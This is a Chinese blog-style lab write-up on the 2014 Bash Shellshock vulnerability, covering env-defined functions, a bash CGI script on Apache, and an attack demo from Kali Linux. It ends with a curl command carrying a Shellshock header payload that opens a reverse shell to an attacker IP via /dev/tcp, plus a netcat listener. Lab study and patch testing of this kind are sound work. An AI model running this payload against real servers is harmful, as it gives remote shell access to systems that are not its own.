Bash漏洞深入分析及修补测试

首页 > 代码库 > Bash漏洞深入分析及修补测试

Bash漏洞深入分析及修补测试

2024-07-28 07:53:33 219人阅读

2014年9月25日互联网爆出bash存在严重漏洞！
我当时一头雾水，不知发生何事，于是求助“度娘”才知道发生了惊天的大事。此漏洞比openssl的心血漏洞还牛X，简直就是放血！
当时，找到的方案是升级bash-4.1.2-15.el6_5.1.x86_64能解决。自己在虚拟机上测试了一下，并对照红帽当时官网的结果对比，自以为一切OK。结果9月26日中午，又得知那个补丁失效，需要再升级到bash-4.1.2-15.el6_5.2.x86_64 ，于是我零乱了，决定仔细研究一下这个漏洞。
【关键词】：bash、env、环境变量、CGI、netcat
【环境】：1台Centos6.4 x86_64（开启apche服务）、1台Kali Linux PC（BT5升级啦！），两机器互通。
【第一部分bash的漏洞出在哪里？】
Centos6.4 x86_64操作系统默认安装bash-4.1.2-14.e16.x86_64版本。
（1）先玩一下env命令。这个命令可以定义一个环境变量，并把这个变量作为参数放到后的shell命令中，这里的shell是bash shell。

（2）env还能定义类型为函数的环境变量，并把这个函数作为bash执行。

（3）bash的漏洞初见倪端！

【第二部分基于bash漏洞的攻击演示】
这个漏洞攻击是有条件的：
a）被攻击对象上的程序在某一时刻使用bash作为校本解释器，并处理环境变量赋值。
b）环境变量赋值字符串的提交取决于用户的输入。
与我们生活息息相关的就是网页，我们直接会想到apache。web开发这里我不做详细介绍，但大家要知道bashcgi也可以写简单的易用的web框架，完成监控、自动化等实际需求。
（1）我们先把httpd服务启动，并在/var/www/cgi-bin目录下创建duozhu_cgi文件，该文件赋权限755，文件内容如下。
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo "<html>"
echo "    <body>"
echo "        ZhangDuozhu is in Beijing!"
echo "     </body>"
echo "</html>"

（2）使用浏览器访问这个页面，正常如下。

这个是模拟正常的用户访问，下面我们模拟攻击者的恶意行为。

（3）使用kali Linux提供的netcat工具（此工具详细说明请找度娘），执行netcat -lvp 8080监听本机的8080端口，然后再打开一个窗口执行curl命令构造一个不同寻常的http请求，命令如下：
curl -H ‘X: () { :;}; /bin/bash -i >& /dev/tcp/192.168.8.149/8080 0>&1‘ http://192.168.8.153/cgi-bin/duozhu_cgi
这个命令的作用是反弹一个bash shell到kali linux机器的8080端口上。